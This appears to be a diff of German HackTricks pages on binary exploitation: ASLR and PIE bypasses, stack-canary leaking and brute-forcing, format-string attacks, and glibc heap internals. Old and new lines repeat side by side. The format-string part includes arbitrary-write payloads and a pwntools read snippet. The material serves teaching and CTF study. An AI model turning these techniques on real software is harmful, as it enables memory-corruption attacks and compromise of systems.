Ein Angreifer könnte beispielsweise die Adresse `0xffffffffff600800` innerhalb eines Exploits verwenden. Während der Versuch, direkt zu einer `ret`-Anweisung zu springen, nach der Ausführung einiger Gadgets zu Instabilität oder Abstürzen führen kann, kann das Springen zum Anfang eines `syscall`, das von der **vsyscall**-Sektion bereitgestellt wird, erfolgreich sein. Durch das sorgfältige Platzieren eines **ROP**-Gadgets, das die Ausführung zu dieser **vsyscall**-Adresse führt, kann ein Angreifer die Codeausführung erreichen, ohne **ASLR** für diesen Teil des Exploits umgehen zu müssen.
Ein Angreifer könnte beispielsweise die Adresse `0xffffffffff600800` innerhalb eines Exploits verwenden. Während der Versuch, direkt zu einer `ret`-Anweisung zu springen, nach der Ausführung einiger Gadgets zu Instabilität oder Abstürzen führen kann, kann das Springen zum Anfang eines `syscall`, das von der **vsyscall**-Sektion bereitgestellt wird, erfolgreich sein. Durch das sorgfältige Platzieren eines **ROP** Gadgets, das die Ausführung zu dieser **vsyscall**-Adresse führt, kann ein Angreifer die Codeausführung erreichen, ohne **ASLR** für diesen Teil des Exploits umgehen zu müssen.
```
ef➤ vmmap
Start End Offset Perm Path
@ -275,6 +275,7 @@ gef➤ x/4i 0xffffffffff600800
Beachten Sie daher, wie es möglich sein könnte, **ASLR durch Ausnutzung des vdso zu umgehen**, wenn der Kernel mit CONFIG_COMPAT_VDSO kompiliert ist, da die vdso-Adresse nicht randomisiert wird. Für weitere Informationen siehe:
{{#ref}}
../../rop-return-oriented-programing/ret2vdso.md
{{#endref}}

View File

@ -4,12 +4,12 @@
## Grundinformationen
Eine als PIE kompilierte Binärdatei, oder **Position Independent Executable**, bedeutet, dass das **Programm bei jedem Ausführen an unterschiedlichen Speicherorten geladen werden kann**, wodurch hartcodierte Adressen verhindert werden.
Eine als PIE kompilierte Binärdatei, oder **Position Independent Executable**, bedeutet, dass das **Programm bei jedem Ausführen an unterschiedlichen Speicherorten geladen werden kann**, wodurch fest codierte Adressen verhindert werden.
Der Trick, um diese Binärdateien auszunutzen, besteht darin, die **relativen Adressen** auszunutzen die Offsets zwischen den Teilen des Programms bleiben gleich, auch wenn sich die absoluten Standorte ändern. Um **PIE zu umgehen, müssen Sie nur eine Adresse leaken**, typischerweise vom **Stack** unter Verwendung von Schwachstellen wie Format-String-Angriffen. Sobald Sie eine Adresse haben, können Sie andere anhand ihrer **festen Offsets** berechnen.
Ein hilfreicher Hinweis beim Ausnutzen von PIE-Binärdateien ist, dass ihre **Basisadresse typischerweise auf 000 endet**, da Speicherseiten die Einheiten der Randomisierung sind, die eine Größe von 0x1000 Bytes haben. Diese Ausrichtung kann eine kritische **Überprüfung sein, wenn ein Exploit nicht wie erwartet funktioniert**, um anzuzeigen, ob die richtige Basisadresse identifiziert wurde.\
Oder Sie können dies für Ihren Exploit verwenden: Wenn Sie leaken, dass eine Adresse bei **`0x649e1024`** liegt, wissen Sie, dass die **Basisadresse `0x649e1000` ist** und von dort aus können Sie einfach die **Offsets** von Funktionen und Standorten berechnen.
Ein hilfreicher Hinweis beim Ausnutzen von PIE-Binärdateien ist, dass ihre **Basisadresse typischerweise auf 000 endet**, da Speicherseiten die Einheiten der Randomisierung sind, die eine Größe von 0x1000 Bytes haben. Diese Ausrichtung kann eine kritische **Überprüfung sein, wenn ein Exploit nicht wie erwartet funktioniert**, und zeigt an, ob die richtige Basisadresse identifiziert wurde.\
Oder Sie können dies für Ihren Exploit verwenden, wenn Sie leaken, dass eine Adresse sich bei **`0x649e1024`** befindet, wissen Sie, dass die **Basisadresse `0x649e1000` ist** und von dort aus können Sie einfach die **Offsets** von Funktionen und Standorten berechnen.
## Umgehungen
@ -19,6 +19,7 @@ Um PIE zu umgehen, ist es notwendig, **eine Adresse der geladenen** Binärdatei
- **Gegeben** werden die Leckage (häufig in einfachen CTF-Herausforderungen, [**prüfen Sie dieses Beispiel**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
- **Brute-Force EBP- und EIP-Werte** im Stack, bis Sie die richtigen leaken:
{{#ref}}
bypassing-canary-and-pie.md
{{#endref}}

View File

@ -6,17 +6,17 @@
**StackGuard** fügt einen speziellen Wert, bekannt als **canary**, vor dem **EIP (Extended Instruction Pointer)** ein, speziell `0x000aff0d` (repräsentiert null, newline, EOF, carriage return), um gegen Bufferüberläufe zu schützen. Funktionen wie `recv()`, `memcpy()`, `read()` und `bcopy()` bleiben jedoch anfällig, und es schützt nicht den **EBP (Base Pointer)**.
**StackShield** verfolgt einen ausgefeilteren Ansatz als StackGuard, indem es einen **Global Return Stack** beibehält, der alle Rücksprungadressen (**EIPs**) speichert. Diese Einrichtung stellt sicher, dass ein Überlauf keinen Schaden anrichtet, da sie einen Vergleich zwischen gespeicherten und tatsächlichen Rücksprungadressen ermöglicht, um Überlaufereignisse zu erkennen. Darüber hinaus kann StackShield die Rücksprungadresse mit einem Grenzwert vergleichen, um zu erkennen, ob der **EIP** außerhalb des erwarteten Datenraums zeigt. Diese Schutzmaßnahme kann jedoch durch Techniken wie Return-to-libc, ROP (Return-Oriented Programming) oder ret2ret umgangen werden, was darauf hinweist, dass StackShield auch keine lokalen Variablen schützt.
**StackShield** verfolgt einen ausgefeilteren Ansatz als StackGuard, indem es einen **Global Return Stack** beibehält, der alle Rücksprungadressen (**EIPs**) speichert. Diese Einrichtung stellt sicher, dass ein Überlauf keinen Schaden anrichtet, da sie einen Vergleich zwischen gespeicherten und tatsächlichen Rücksprungadressen ermöglicht, um Überlaufereignisse zu erkennen. Darüber hinaus kann StackShield die Rücksprungadresse mit einem Grenzwert überprüfen, um festzustellen, ob der **EIP** außerhalb des erwarteten Datenraums zeigt. Diese Schutzmaßnahme kann jedoch durch Techniken wie Return-to-libc, ROP (Return-Oriented Programming) oder ret2ret umgangen werden, was darauf hinweist, dass StackShield auch keine lokalen Variablen schützt.
## **Stack Smash Protector (ProPolice) `-fstack-protector`:**
Dieser Mechanismus platziert einen **canary** vor dem **EBP** und reorganisiert lokale Variablen, um Puffer an höheren Speicheradressen zu positionieren, sodass sie andere Variablen nicht überschreiben. Er kopiert auch sicher die Argumente, die auf dem Stack über lokalen Variablen übergeben werden, und verwendet diese Kopien als Argumente. Allerdings schützt er keine Arrays mit weniger als 8 Elementen oder Puffer innerhalb einer Benutzerstruktur.
Dieser Mechanismus platziert einen **canary** vor dem **EBP** und reorganisiert lokale Variablen, um Puffer an höheren Speicheradressen zu positionieren, wodurch verhindert wird, dass sie andere Variablen überschreiben. Er kopiert auch sicher die Argumente, die auf dem Stack über lokalen Variablen übergeben werden, und verwendet diese Kopien als Argumente. Allerdings schützt er keine Arrays mit weniger als 8 Elementen oder Puffer innerhalb einer Benutzerstruktur.
Der **canary** ist eine Zufallszahl, die aus `/dev/urandom` oder einem Standardwert von `0xff0a0000` abgeleitet wird. Er wird in **TLS (Thread Local Storage)** gespeichert, sodass gemeinsame Speicherbereiche über Threads hinweg thread-spezifische globale oder statische Variablen haben. Diese Variablen werden zunächst vom übergeordneten Prozess kopiert, und untergeordnete Prozesse können ihre Daten ändern, ohne den übergeordneten oder Geschwisterprozesse zu beeinflussen. Wenn jedoch ein **`fork()` ohne Erstellung eines neuen canary verwendet wird, teilen sich alle Prozesse (Eltern und Kinder) denselben canary**, was ihn anfällig macht. Auf der **i386**-Architektur wird der canary bei `gs:0x14` gespeichert, und auf **x86_64** bei `fs:0x28`.
Der **canary** ist eine Zufallszahl, die aus `/dev/urandom` abgeleitet oder ein Standardwert von `0xff0a0000` ist. Er wird in **TLS (Thread Local Storage)** gespeichert, was es ermöglicht, dass gemeinsame Speicherbereiche über Threads hinweg thread-spezifische globale oder statische Variablen haben. Diese Variablen werden zunächst vom übergeordneten Prozess kopiert, und untergeordnete Prozesse können ihre Daten ändern, ohne den übergeordneten Prozess oder Geschwister zu beeinflussen. Wenn jedoch ein **`fork()` ohne Erstellung eines neuen canary verwendet wird, teilen sich alle Prozesse (Eltern und Kinder) denselben canary**, was ihn anfällig macht. Auf der **i386**-Architektur wird der canary bei `gs:0x14` gespeichert, und auf **x86_64** bei `fs:0x28`.
Dieser lokale Schutz identifiziert Funktionen mit Puffern, die anfällig für Angriffe sind, und injiziert Code am Anfang dieser Funktionen, um den canary zu platzieren, und am Ende, um seine Integrität zu überprüfen.
Wenn ein Webserver `fork()` verwendet, ermöglicht dies einen Brute-Force-Angriff, um den canary Byte für Byte zu erraten. Die Verwendung von `execve()` nach `fork()` überschreibt jedoch den Speicherbereich und macht den Angriff zunichte. `vfork()` ermöglicht es dem untergeordneten Prozess, ohne Duplikation auszuführen, bis er versucht zu schreiben, an welchem Punkt ein Duplikat erstellt wird, was einen anderen Ansatz zur Prozessgenerierung und Speicherverwaltung bietet.
Wenn ein Webserver `fork()` verwendet, ermöglicht dies einen Brute-Force-Angriff, um den canary Byte für Byte zu erraten. Die Verwendung von `execve()` nach `fork()` überschreibt jedoch den Speicherbereich und macht den Angriff unwirksam. `vfork()` ermöglicht es dem untergeordneten Prozess, ohne Duplikation auszuführen, bis er versucht zu schreiben, an diesem Punkt wird ein Duplikat erstellt, was einen anderen Ansatz zur Prozessgenerierung und Speicherverwaltung bietet.
### Längen
@ -29,15 +29,17 @@ In `x86`-Binaries ist das canary-Cookie ein **`0x4`** Byte dword. Die **ersten d
## Umgehungen
**Den canary auslesen** und dann mit seinem eigenen Wert überschreiben (z.B. Bufferüberlauf).
**Leaking the canary** und dann das Überschreiben mit seinem eigenen Wert (z.B. Bufferüberlauf).
- Wenn der **canary in untergeordneten Prozessen geforkt wird**, könnte es möglich sein, ihn **brute-force** byteweise zu erraten:
- Wenn der **canary in untergeordneten Prozessen geforkt wird**, könnte es möglich sein, ihn **byteweise zu brute-forcen**:
{{#ref}}
bf-forked-stack-canaries.md
{{#endref}}
- Wenn es eine interessante **Leck- oder willkürliche Leseanfälligkeit** im Binary gibt, könnte es möglich sein, ihn auszulesen:
- Wenn es eine interessante **Leck- oder willkürliche Leseanfälligkeit** im Binary gibt, könnte es möglich sein, ihn zu leaken:
{{#ref}}
print-stack-canary.md
@ -47,15 +49,16 @@ print-stack-canary.md
Der Stack, der anfällig für einen Stacküberlauf ist, könnte **Adressen zu Strings oder Funktionen enthalten, die überschrieben werden können**, um die Anfälligkeit auszunutzen, ohne den Stack-Canary erreichen zu müssen. Überprüfen Sie:
{{#ref}}
../../stack-overflow/pointer-redirecting.md
{{#endref}}
- **Ändern sowohl des Master- als auch des Thread-Canary**
Ein Buffer **Überlauf in einer threaded Funktion**, die mit einem Canary geschützt ist, kann verwendet werden, um den **Master-Canary des Threads** zu **ändern**. Infolgedessen ist die Minderung nutzlos, da die Überprüfung mit zwei Canaries verwendet wird, die gleich sind (obwohl modifiziert).
Ein Puffer **Überlauf in einer threadgeschützten Funktion** mit Canary kann verwendet werden, um den **Master-Canary des Threads** zu **ändern**. Infolgedessen ist die Minderung nutzlos, da die Überprüfung mit zwei Canaries verwendet wird, die gleich sind (obwohl modifiziert).
Darüber hinaus könnte ein Buffer **Überlauf in einer threaded Funktion**, die mit einem Canary geschützt ist, verwendet werden, um den **Master-Canary, der im TLS gespeichert ist, zu ändern**. Dies liegt daran, dass es möglich sein könnte, die Speicherposition zu erreichen, an der das TLS gespeichert ist (und daher der canary) über einen **bof im Stack** eines Threads.\
Darüber hinaus könnte ein Puffer **Überlauf in einer threadgeschützten Funktion** mit Canary verwendet werden, um den **Master-Canary, der im TLS gespeichert ist, zu ändern**. Dies liegt daran, dass es möglich sein könnte, die Speicherposition zu erreichen, an der das TLS gespeichert ist (und daher der canary) über einen **bof im Stack** eines Threads.\
Infolgedessen ist die Minderung nutzlos, da die Überprüfung mit zwei Canaries verwendet wird, die gleich sind (obwohl modifiziert).\
Dieser Angriff wird in dem Writeup durchgeführt: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)

View File

@ -4,11 +4,11 @@
## Vergrößern des gedruckten Stacks
Stellen Sie sich eine Situation vor, in der ein **programm verwundbar** für einen Stack-Überlauf eine **puts**-Funktion **zeigt**, die auf **einen Teil** des **Stack-Überlaufs** verweist. Der Angreifer weiß, dass das **erste Byte des Canaries ein Null-Byte** (`\x00`) ist und der Rest des Canaries **zufällige** Bytes sind. Dann kann der Angreifer einen Überlauf erstellen, der **den Stack bis zum ersten Byte des Canaries überschreibt**.
Stellen Sie sich eine Situation vor, in der ein **Programm anfällig** für einen Stack-Überlauf eine **puts**-Funktion **aufrufen** kann, die auf **einen Teil** des **Stack-Überlaufs** zeigt. Der Angreifer weiß, dass das **erste Byte des Canaries ein Null-Byte** (`\x00`) ist und der Rest des Canaries **zufällige** Bytes sind. Dann kann der Angreifer einen Überlauf erzeugen, der **den Stack bis zum ersten Byte des Canaries überschreibt**.
Anschließend **ruft der Angreifer die puts-Funktionalität** in der Mitte der Nutzlast auf, die **alle Canaries druckt** (außer dem ersten Null-Byte).
Anschließend **ruft der Angreifer die puts-Funktionalität** in der Mitte der Nutzlast auf, die **alle Bytes des Canaries druckt** (außer dem ersten Null-Byte).
Mit diesen Informationen kann der Angreifer **einen neuen Angriff erstellen und senden**, wobei er den Canary kennt (in derselben Programmsitzung).
Mit diesen Informationen kann der Angreifer **eine neue Attacke erstellen und senden**, wobei er den Canary kennt (in derselben Programmsitzung).
Offensichtlich ist diese Taktik sehr **eingeschränkt**, da der Angreifer in der Lage sein muss, den **Inhalt** seiner **Nutzlast** zu **drucken**, um den **Canary** zu **exfiltrieren** und dann in der Lage zu sein, eine neue Nutzlast (in der **gleichen Programmsitzung**) zu erstellen und den **echten Buffer-Overflow** zu **senden**.
@ -21,7 +21,7 @@ Offensichtlich ist diese Taktik sehr **eingeschränkt**, da der Angreifer in der
## Arbitrary Read
Mit einem **willkürlichen Lesen**, wie es durch Format-**Strings** bereitgestellt wird, könnte es möglich sein, den Canary zu leaken. Überprüfen Sie dieses Beispiel: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) und Sie können darüber lesen, wie man Format-Strings missbraucht, um willkürliche Speicheradressen zu lesen in:
Mit einem **arbitrary read**, wie es durch Format-**Strings** bereitgestellt wird, könnte es möglich sein, den Canary zu leaken. Überprüfen Sie dieses Beispiel: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) und Sie können lesen, wie man Format-Strings missbraucht, um beliebige Speicheradressen zu lesen in:
{{#ref}}
../../format-strings/

View File

@ -2,14 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
## Grundlegende Informationen
In C **`printf`** ist eine Funktion, die verwendet werden kann, um **einen String auszugeben**. Der **erste Parameter**, den diese Funktion erwartet, ist der **rohe Text mit den Formatierern**. Die **folgenden Parameter**, die erwartet werden, sind die **Werte**, um die **Formatierer** aus dem rohen Text zu **ersetzen**.
Andere anfällige Funktionen sind **`sprintf()`** und **`fprintf()`**.
Die Verwundbarkeit tritt auf, wenn ein **Angreifertext als erstes Argument** an diese Funktion übergeben wird. Der Angreifer kann eine **spezielle Eingabe erstellen, die** die **printf-Format**-String-Fähigkeiten ausnutzt, um **beliebige Daten an beliebiger Adresse (lesbar/schreibbar)** zu lesen und **zu schreiben**. Dadurch ist es möglich, **willkürlichen Code auszuführen**.
Die Verwundbarkeit tritt auf, wenn ein **Angreifertext als erstes Argument** an diese Funktion übergeben wird. Der Angreifer kann eine **spezielle Eingabe erstellen, die** die **printf-Format**-String-Fähigkeiten ausnutzt, um **beliebige Daten an beliebiger Adresse (lesbar/schreibbar)** zu lesen und **zu schreiben**. Auf diese Weise kann er **beliebigen Code ausführen**.
#### Formatierer:
```bash
@ -54,13 +53,13 @@ return 0;
```
### **Zugriff auf Zeiger**
Das Format **`%<n>$x`**, wobei `n` eine Zahl ist, ermöglicht es, printf anzuzeigen, den n-ten Parameter (vom Stack) auszuwählen. Wenn Sie also den 4. Parameter vom Stack mit printf lesen möchten, könnten Sie Folgendes tun:
Das Format **`%<n>$x`**, wobei `n` eine Zahl ist, ermöglicht es, printf anzuzeigen, dass der n-te Parameter (vom Stack) ausgewählt werden soll. Wenn Sie also den 4. Parameter vom Stack mit printf lesen möchten, könnten Sie Folgendes tun:
```c
printf("%x %x %x %x")
```
und Sie würden vom ersten bis zum vierten Parameter lesen.
und du würdest vom ersten bis zum vierten Parameter lesen.
Oder Sie könnten Folgendes tun:
Oder du könntest Folgendes tun:
```c
printf("%4$x")
```
@ -73,7 +72,7 @@ Beachten Sie, dass der Angreifer den `printf` **Parameter kontrolliert, was im G
## **Willkürliches Lesen**
Es ist möglich, den Formatter **`%n$s`** zu verwenden, um **`printf`** die **Adresse** an der **n Position** zu entnehmen, die ihm folgt, und **sie so zu drucken, als wäre es eine Zeichenkette** (drucken bis ein 0x00 gefunden wird). Wenn die Basisadresse des Binaries **`0x8048000`** ist und wir wissen, dass die Benutzereingabe an der 4. Position im Stack beginnt, ist es möglich, den Anfang des Binaries mit:
Es ist möglich, den Formatter **`%n$s`** zu verwenden, um **`printf`** die **Adresse** an der **n Position** zu entnehmen, die ihm folgt, und **sie so zu drucken, als wäre es eine Zeichenkette** (drucken, bis ein 0x00 gefunden wird). Wenn die Basisadresse des Binaries **`0x8048000`** ist und wir wissen, dass die Benutzereingabe an der 4. Position im Stack beginnt, ist es möglich, den Anfang des Binaries mit:
```python
from pwn import *
@ -142,7 +141,7 @@ Glücklicherweise ist es nicht nötig, 9999 "A"s zur Eingabe hinzuzufügen, um d
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
Beachten Sie jedoch, dass normalerweise, um eine Adresse wie `0x08049724` (was eine RIESIGE Zahl ist, die man auf einmal schreiben muss) zu schreiben, **`$hn`** anstelle von **`$n`** verwendet wird. Dies ermöglicht es, **nur 2 Bytes** zu schreiben. Daher wird dieser Vorgang zweimal durchgeführt, einmal für die höchsten 2B der Adresse und ein weiteres Mal für die niedrigeren.
Beachten Sie jedoch, dass normalerweise, um eine Adresse wie `0x08049724` (die eine RIESIGE Zahl ist, die man auf einmal schreiben muss) zu schreiben, **`$hn`** anstelle von **`$n`** verwendet wird. Dies ermöglicht es, **nur 2 Bytes** zu schreiben. Daher wird dieser Vorgang zweimal durchgeführt, einmal für die höchsten 2B der Adresse und ein weiteres Mal für die niedrigeren.
Daher ermöglicht diese Schwachstelle, **alles an jede Adresse zu schreiben (willkürliches Schreiben).**
@ -209,7 +208,7 @@ Es ist möglich, die Schreibaktionen einer Format-String-Sicherheitsanfälligkei
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
- 32 Bit, kein relro, kein canary, nx, kein pie, grundlegende Verwendung von Format-Strings, um das Flag vom Stack zu leaken (keine Notwendigkeit, den Ausführungsfluss zu ändern)
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 Bit, relro, kein canary, nx, kein pie, Format-String, um die Adresse `fflush` mit der Win-Funktion (ret2win) zu überschreiben
- 32 Bit, relro, kein canary, nx, kein pie, Format-String, um die Adresse `fflush` mit der win-Funktion (ret2win) zu überschreiben
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
- 32 Bit, relro, kein canary, nx, kein pie, Format-String, um eine Adresse innerhalb von main in `.fini_array` zu schreiben (damit der Fluss ein weiteres Mal zurückschleift) und die Adresse zu `system` in der GOT-Tabelle zu schreiben, die auf `strlen` zeigt. Wenn der Fluss zurück zu main geht, wird `strlen` mit Benutzereingaben ausgeführt und zeigt auf `system`, es werden die übergebenen Befehle ausgeführt.

View File

@ -31,13 +31,13 @@ In **multithreaded** Anwendungen muss der Heap-Manager **Race Conditions** verhi
Um dies zu beheben, führte der ptmalloc2 Heap-Allocator "Arenas" ein, bei denen **jede Arena** als **separater Heap** mit ihren **eigenen** Daten **strukturen** und **Mutex** fungiert, sodass mehrere Threads Heap-Operationen durchführen können, ohne sich gegenseitig zu stören, solange sie unterschiedliche Arenas verwenden.
Die Standard-"Haupt"-Arena verwaltet Heap-Operationen für Single-Thread-Anwendungen. Wenn **neue Threads** hinzugefügt werden, weist der Heap-Manager ihnen **sekundäre Arenas** zu, um die Konkurrenz zu verringern. Er versucht zunächst, jeden neuen Thread an eine ungenutzte Arena anzuhängen und erstellt bei Bedarf neue, bis zu einem Limit von 2 mal der Anzahl der CPU-Kerne für 32-Bit-Systeme und 8 mal für 64-Bit-Systeme. Sobald das Limit erreicht ist, **müssen Threads Arenas teilen**, was zu potenzieller Konkurrenz führt.
Die standardmäßige "Haupt"-Arena verwaltet Heap-Operationen für einthreadige Anwendungen. Wenn **neue Threads** hinzugefügt werden, weist der Heap-Manager ihnen **sekundäre Arenas** zu, um die Konkurrenz zu verringern. Er versucht zunächst, jeden neuen Thread an eine ungenutzte Arena anzuhängen und erstellt bei Bedarf neue, bis zu einem Limit von 2 mal der Anzahl der CPU-Kerne für 32-Bit-Systeme und 8 mal für 64-Bit-Systeme. Sobald das Limit erreicht ist, **müssen Threads Arenas teilen**, was zu potenzieller Konkurrenz führt.
Im Gegensatz zur Hauptarena, die sich mit dem `brk` Systemaufruf erweitert, erstellen sekundäre Arenas "Subheaps" mit `mmap` und `mprotect`, um das Verhalten des Heaps zu simulieren, was Flexibilität bei der Verwaltung von Speicher für multithreaded Operationen ermöglicht.
Im Gegensatz zur Hauptarena, die sich mit dem `brk` Systemaufruf erweitert, erstellen sekundäre Arenas "Subheaps" mit `mmap` und `mprotect`, um das Verhalten des Heaps zu simulieren, was Flexibilität bei der Verwaltung des Speichers für multithreaded Operationen ermöglicht.
### Subheaps
Subheaps dienen als Speicherreserven für sekundäre Arenas in multithreaded Anwendungen, sodass sie wachsen und ihre eigenen Heap-Bereiche getrennt vom Hauptheap verwalten können. So unterscheiden sich Subheaps vom ursprünglichen Heap und wie sie funktionieren:
Subheaps dienen als Speicherreserven für sekundäre Arenas in multithreaded Anwendungen, sodass sie wachsen und ihre eigenen Heap-Bereiche getrennt vom Hauptheap verwalten können. So unterscheiden sich Subheaps vom ursprünglichen Heap und so funktionieren sie:
1. **Ursprünglicher Heap vs. Subheaps**:
- Der ursprüngliche Heap befindet sich direkt nach der Binärdatei des Programms im Speicher und erweitert sich mit dem `sbrk` Systemaufruf.
@ -73,7 +73,7 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
### malloc_state
**Jeder Heap** (Hauptarena oder andere Thread-Arenen) hat eine **`malloc_state` Struktur.**\
Es ist wichtig zu beachten, dass die **`malloc_state` Struktur der Hauptarena** eine **globale Variable in der libc** ist (daher im Speicherbereich der libc gespeichert).\
Es ist wichtig zu beachten, dass die **`malloc_state` Struktur der Hauptarena** eine **globale Variable in der libc** ist (daher im libc-Speicherbereich lokalisiert).\
Im Fall von **`malloc_state`** Strukturen der Heaps von Threads befinden sie sich **innerhalb des eigenen "Heaps" des Threads**.
Es gibt einige interessante Dinge, die man aus dieser Struktur beachten sollte (siehe C-Code unten):
@ -171,7 +171,7 @@ Die Metadaten sind normalerweise 0x08B, was die aktuelle Chunk-Größe angibt, w
Dann folgt der Platz für die Benutzerdaten und schließlich 0x08B, um die Größe des vorherigen Chunks anzugeben, wenn der Chunk verfügbar ist (oder um Benutzerdaten zu speichern, wenn er zugewiesen ist).
Darüber hinaus wird, wenn verfügbar, der Benutzerdatenbereich auch verwendet, um einige Daten zu enthalten:
Darüber hinaus wird, wenn verfügbar, der Platz für die Benutzerdaten auch verwendet, um einige Daten zu enthalten:
- **`fd`**: Zeiger auf den nächsten Chunk
- **`bk`**: Zeiger auf den vorherigen Chunk
@ -185,7 +185,7 @@ Darüber hinaus wird, wenn verfügbar, der Benutzerdatenbereich auch verwendet,
### Chunk-Pointer
Wenn malloc verwendet wird, wird ein Zeiger auf den Inhalt, der geschrieben werden kann, zurückgegeben (direkt nach den Headern), jedoch ist es beim Verwalten von Chunks erforderlich, einen Zeiger auf den Anfang der Header (Metadaten) zu haben.\
Wenn malloc verwendet wird, wird ein Zeiger auf den Inhalt, der geschrieben werden kann, zurückgegeben (direkt nach den Headern). Wenn jedoch Chunks verwaltet werden, wird ein Zeiger auf den Anfang der Header (Metadaten) benötigt.\
Für diese Umwandlungen werden diese Funktionen verwendet:
```c
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@ -265,9 +265,9 @@ Beachten Sie, dass für die Berechnung des insgesamt benötigten Speicherplatzes
### Chunk-Daten abrufen und Metadaten ändern
Diese Funktionen arbeiten, indem sie einen Zeiger auf einen Chunk empfangen und sind nützlich, um Metadaten zu überprüfen/zu setzen:
Diese Funktionen arbeiten, indem sie einen Zeiger auf einen Chunk erhalten und sind nützlich, um Metadaten zu überprüfen/zu setzen:
- Überprüfen Sie die Chunk-Flags
- Überprüfen Sie Chunk-Flags
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@ -330,7 +330,7 @@ people extending or adapting this malloc.
/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
```
- Insue bit
- Insue-Bit
```c
/* extract p's inuse bit */
#define inuse(p) \
@ -365,7 +365,7 @@ people extending or adapting this malloc.
/* Set size at footer (only when chunk is not in use) */
#define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s))
```
- Bestimmen Sie die Größe der tatsächlich nutzbaren Daten im Chunk
- Bestimmen Sie die Größe der tatsächlich verwendbaren Daten im Chunk
```c
#pragma GCC poison mchunk_size
#pragma GCC poison mchunk_prev_size
@ -504,5 +504,4 @@ heap-memory-functions/heap-functions-security-checks.md
- [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
- [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## Grundinformationen
Um die Effizienz zu verbessern, wie Chunks gespeichert werden, befindet sich jeder Chunk nicht nur in einer verketteten Liste, sondern es gibt mehrere Typen. Dies sind die Bins und es gibt 5 Arten von Bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) kleine Bins, 63 große Bins, 1 unsortierter Bin, 10 schnelle Bins und 64 tcache Bins pro Thread.
Um die Effizienz der Speicherung von Chunks zu verbessern, befindet sich jeder Chunk nicht nur in einer verketteten Liste, sondern es gibt mehrere Typen. Dies sind die Bins und es gibt 5 Arten von Bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) kleine Bins, 63 große Bins, 1 unsortierter Bin, 10 schnelle Bins und 64 tcache Bins pro Thread.
Die Anfangsadresse zu jedem unsortierten, kleinen und großen Bin befindet sich im selben Array. Der Index 0 ist ungenutzt, 1 ist der unsortierte Bin, Bins 2-64 sind kleine Bins und Bins 65-127 sind große Bins.
@ -12,16 +12,16 @@ Die Anfangsadresse zu jedem unsortierten, kleinen und großen Bin befindet sich
Obwohl Threads versuchen, ihren eigenen Heap zu haben (siehe [Arenas](bins-and-memory-allocations.md#arenas) und [Subheaps](bins-and-memory-allocations.md#subheaps)), besteht die Möglichkeit, dass ein Prozess mit vielen Threads (wie ein Webserver) **den Heap mit anderen Threads teilen wird**. In diesem Fall ist die Hauptlösung die Verwendung von **Lockern**, die **die Threads erheblich verlangsamen können**.
Daher ist ein tcache ähnlich wie ein schneller Bin pro Thread, da es sich um eine **einzelne verkettete Liste** handelt, die Chunks nicht zusammenführt. Jeder Thread hat **64 einfach verkettete tcache Bins**. Jeder Bin kann maximal [7 gleich große Chunks](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) haben, die von [24 bis 1032B auf 64-Bit-Systemen und 12 bis 516B auf 32-Bit-Systemen](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315) reichen.
Daher ist ein Tcache ähnlich wie ein schneller Bin pro Thread, da es sich um eine **einzelne verkettete Liste** handelt, die Chunks nicht zusammenführt. Jeder Thread hat **64 einfach verkettete Tcache Bins**. Jeder Bin kann maximal [7 gleich große Chunks](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) haben, die von [24 bis 1032B auf 64-Bit-Systemen und 12 bis 516B auf 32-Bit-Systemen](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315) reichen.
